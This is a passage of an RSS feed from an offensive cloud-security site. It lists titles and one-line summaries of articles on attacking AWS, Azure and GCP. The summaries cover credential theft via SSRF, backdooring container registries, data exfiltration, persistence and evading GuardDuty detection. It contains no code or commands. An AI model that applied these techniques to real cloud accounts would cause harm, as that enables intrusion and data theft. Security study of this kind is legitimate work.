RunCommands for execution and lateral movement.</description><link>https://hackingthe.cloud/azure/run-command-abuse/</link> <pubDate>Sat, 05 Oct 2024 05:04:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/run-command-abuse/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png" type="image/png" length="202340" /> </item> <item> <title>Exploiting Misconfigured GitLab OIDC AWS IAM Roles</title> <description>Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</link> <pubDate>Sun, 01 Sep 2024 22:56:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png" type="image/png" length="230598" /> </item> <item> <title>Steal IAM Credentials and Event Data from Lambda</title> <description>Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.</description><link>https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</link> <pubDate>Tue, 20 Aug 2024 01:29:51 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png" type="image/png" length="218855" /> </item> <item> <title>Abusing Misconfigured Role Trust Policies with a Wildcard Principal</title> <description>How to take advantage of misconfigured role trust policies that have wildcard principals.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</link> <pubDate>Sun, 04 Aug 2024 21:24:46 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png" type="image/png" length="225176" /> </item> <item> <title>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions</title> <description>Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</link> <pubDate>Sun, 14 Jul 2024 21:50:00 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png" type="image/png" length="231384" /> </item> <item> <title>Abusing Managed Identities</title> <description>Abusing Managed Identities</description><link>https://hackingthe.cloud/azure/abusing-managed-identities/</link> <pubDate>Sat, 15 Jun 2024 06:21:29 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/abusing-managed-identities/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png" type="image/png" length="200528" /> </item> <item> <title>Discover secrets in public AMIs</title> <description>How to find public AMIs and get stored secrets.</description><link>https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</link> <pubDate>Wed, 29 May 2024 03:08:56 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png" type="image/png" length="205373" /> </item> <item> <title>Enumerate Root User Email Address from the AWS Console</title> <description>Identify if an email address belongs to the root user of an AWS account.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</link> <pubDate>Tue, 21 May 2024 20:10:23 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png" type="image/png" length="222164" /> </item> <item> <title>AWS Organizations Defaults &amp; Pivoting</title> <description>How to abuse AWS Organizations&#39; default behavior and lateral movement capabilities.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</link> <pubDate>Thu, 07 Mar 2024 02:17:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png" type="image/png" length="216415" /> </item> <item> <title>Anonymous Blob Access</title> <description>Finding and accessing files stored in Azure Storage Accounts without authentication.</description><link>https://hackingthe.cloud/azure/anonymous-blob-access/</link> <pubDate>Thu, 07 Mar 2024 02:17:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/anonymous-blob-access/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png" type="image/png" length="210407" /> </item> <item> <title>Soft Deleted Blobs</title> <description>Recovering and accessing files in private Storage Accounts that have been deleted.</description><link>https://hackingthe.cloud/azure/soft-deleted-blobs/</link> <pubDate>Thu, 07 Mar 2024 02:17:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/soft-deleted-blobs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png" type="image/png" length="205118" /> </item> <item> <title>Hacking The Cloud</title> <description>The encyclopedia for offensive security in the cloud</description><link>https://hackingthe.cloud/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/index.png" type="image/png" length="196546" /> </item> <item> <title>CI/CDon&#39;t</title> <description>An AWS/GitLab CICD themed CTF.</description><link>https://hackingthe.cloud/aws/capture_the_flag/cicdont/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/capture_the_flag/cicdont/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png" type="image/png" length="191471" /> </item> <item> <title>Loot Public EBS Snapshots</title> <description>How to find and take advantage of exposed EBS snapshots.</description><link>https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png" type="image/png" length="201950" /> </item> <item> <title>Abusing Elastic Container Registry for Lateral Movement</title> <description>With ECR permissions you can easily distribute a backdoor to production servers, developer&#39;s laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</description><link>https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png" type="image/png" length="235716" /> </item> <item> <title>Steal EC2 Metadata Credentials via SSRF</title> <description>Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.</description><link>https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png" type="image/png" length="215994" /> </item> <item> <title>Exfiltrating S3 Data with Bucket Replication Policies</title> <description>Backdooring S3 buckets with Bucket Replication Policies.</description><link>https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png" type="image/png" length="216181" /> </item> <item> <title>Abusing Misconfigured ECR Resource Policies</title> <description>How to take advantage of misconfigured AWS ECR private repositories.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png" type="image/png" length="218283" /> </item> <item> <title>Using Stolen IAM Credentials</title> <description>How to work with stolen IAM credentials and things to consider.</description><link>https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png" type="image/png" length="204336" /> </item> <item> <title>Create a Console Session from IAM Credentials</title> <description>How to use IAM credentials to create an AWS Console session.</description><link>https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png" type="image/png" length="218302" /> </item> <item> <title>Lambda Persistence</title> <description>How to establish persistence on a Lambda function after getting remote code execution.</description><link>https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png" type="image/png" length="205542" /> </item> <item> <title>User Data Script Persistence</title> <description>Maintain access to an EC2 instance and it&#39;s IAM role via user data scripts.</description><link>https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png" type="image/png" length="209761" /> </item> <item> <title>2022 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2022.</description><link>https://hackingthe.cloud/blog/2022_wrap-up/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2022_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png" type="image/png" length="196614" /> </item> <item> <title>2023 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2023.</description><link>https://hackingthe.cloud/blog/2023_wrap-up/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2023_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png" type="image/png" length="198545" /> </item> <item> <title>Hacking The Cloud v2: New Look</title> <description>All about the new look for Hacking The Cloud v2.</description><link>https://hackingthe.cloud/blog/v2_new_look/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/v2_new_look/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png" type="image/png" length="202652" /> </item> <item> <title>Terraform ANSI Escape</title> <description>Using ANSI Escape Sequences to Hide Malicious Terraform Code</description><link>https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png" type="image/png" length="204806" /> </item> <item> <title>Terraform Enterprise: Attack the Metadata Service</title> <description>Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service</description><link>https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png" type="image/png" length="219084" /> </item> <item> <title>Role Chain Juggling</title> <description>Keep your access by chaining assume-role calls.</description><link>https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</link> <pubDate>Fri, 09 Feb 2024 02:49:21 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png" type="image/png" length="197865" /> </item> <item> <title>[Deprecated] Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/deprecated/whoami/</link> <pubDate>Fri, 02 Feb 2024 00:17:34 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png" type="image/png" length="224150" /> </item> <item> <title>EC2 Privilege Escalation Through User Data</title> <description>How to escalate privileges on an EC2 instance by abusing user data.</description><link>https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</link> <pubDate>Tue, 23 Jan 2024 00:25:07 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png" type="image/png" length="211145" /> </item> <item> <title>AWS IAM Persistence Methods</title> <description>A catalog of methods to maintain access to the AWS control plane.</description><link>https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</link> <pubDate>Sun, 21 Jan 2024 17:34:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png" type="image/png" length="213187" /> </item> <item> <title>Run Shell Commands on EC2 with Send Command or Session Manager</title> <description>Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.</description><link>https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</link> <pubDate>Sun, 21 Jan 2024 17:27:28 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png" type="image/png" length="224827" /> </item> <item> <title>Modify GuardDuty Configuration</title> <description>Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.</description><link>https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</link> <pubDate>Sun, 21 Jan 2024 17:20:20 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png" type="image/png" length="214509" /> </item> <item> <title>AWS API Call Hijacking via ACM-PCA</title> <description>By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC</description><link>https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</link> <pubDate>Sat, 13 Jan 2024 20:48:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png" type="image/png" length="220522" /> </item> <item> <title>Get Account ID from AWS Access Keys</title> <description>Techniques to enumerate the account ID associated with an AWS access key.</description><link>https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</link> <pubDate>Sat, 13 Jan 2024 01:04:53 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png" type="image/png" length="213854" /> </item> <item> <title>Misconfigured Resource-Based Policies</title> <description>Common misconfigurations of resource-based policies and how they can be abused.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</link> <pubDate>Thu, 11 Jan 2024 08:57:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png" type="image/png" length="218925" /> </item> <item> <title>Bypass Cognito Account Enumeration Controls</title> <description>Leverage a flaw in Cognito&#39;s API to enumerate accounts in User Pools.</description><link>https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</link> <pubDate>Mon, 08 Jan 2024 15:03:16 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png" type="image/png" length="215506" /> </item> <item> <title>Abusing Unintended Self-Signup in AWS Cognito</title> <description>How to take advantage of misconfigured Amazon Cognito User Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</link> <pubDate>Sat, 06 Jan 2024 22:14:28 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png" type="image/png" length="216164" /> </item> <item> <title>Abusing Overpermissioned AWS Cognito Identity Pools</title> <description>How to take advantage of misconfigured Amazon Cognito Identity Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</link> <pubDate>Sat, 06 Jan 2024 20:43:40 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png" type="image/png" length="222257" /> </item> <item> <title>IAM unique identifiers</title> <description>Chart of the IAM unique ID prefixes.</description><link>https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</link> <pubDate>Thu, 04 Jan 2024 04:45:39 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png" type="image/png" length="195927" /> </item> <item> <title>Data Exfiltration through S3 Server Access Logs</title> <description>Exfiltrate data via S3:GetObject and S3 server access logs.</description><link>https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</link> <pubDate>Fri, 08 Dec 2023 02:37:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png" type="image/png" length="213329" /> </item> <item> <title>Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/enumeration/whoami/</link> <pubDate>Sun, 05 Nov 2023 18:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png" type="image/png" length="215802" /> </item> <item> <title>Bypass Credential Exfiltration Detection</title> <description>When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.</description><link>https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</link> <pubDate>Wed, 18 Oct 2023 00:06:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png" type="image/png" length="218312" /> </item> <item> <title>Survive Access Key Deletion with sts:GetFederationToken</title> <description>Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.</description><link>https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</link> <pubDate>Mon, 25 Sep 2023 13:24:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png" type="image/png" length="227010" /> </item> <item> <title>Download Tools and Exfiltrate Data with the AWS CLI</title> <description>Using the AWS CLI as a LOLScript to download and exfiltrate data.</description><link>https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</link> <pubDate>Sat, 15 Jul 2023 15:12:33 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png" type="image/png" length="215852" /> </item> <item> <title>Unauthenticated Enumeration of Azure Active Directory Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.</description><link>https://hackingthe.cloud/azure/enum_email_addresses/</link> <pubDate>Wed, 12 Apr 2023 00:53:02 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png" type="image/png" length="226061" /> </item> <item> <title>Unauthenticated Enumeration of Google Workspace Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.</description><link>https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</link> <pubDate>Wed, 12 Apr 2023 00:53:02 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png" type="image/png" length="228077" /> </item> <item> <title>S3 Streaming Copy</title> <description>Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment</description><link>https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</link> <pubDate>Fri, 17 Feb 2023 04:07:33 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png" type="image/png" length="211010" /> </item> <item> <title>S3 File ACL Persistence</title> <description>Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.</description><link>https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</link> <pubDate>Thu, 26 Jan 2023 01:07:28 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png" type="image/png" length="214793" /> </item> <item> <title>GCP Goat</title> <description>GCP Goat is the Vulnerable application for learning the GCP Security</description><link>https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</link> <pubDate>Fri, 13 Jan 2023 23:48:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png" type="image/png" length="199149" /> </item> <item> <title>Privilege Escalation in Google Cloud Platform</title> <description>Privilege escalation techniques for Google Cloud Platform (GCP)</description><link>https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</link> <pubDate>Fri, 13 Jan 2023 23:48:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png" type="image/png" length="208951" /> </item> <item> <title>Hunting GCP Buckets</title> <description>How to find valid and invalid GCP Buckets using tools</description><link>https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</link> <pubDate>Fri, 13 Jan 2023 23:48:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png" type="image/png" length="198514" /> </item> <item> <title>Bypass GuardDuty Tor Client Findings</title> <description>Connect to the Tor network from an EC2 instance without alerting GuardDuty.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</link> <pubDate>Mon, 09 Jan 2023 03:01:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</guid> 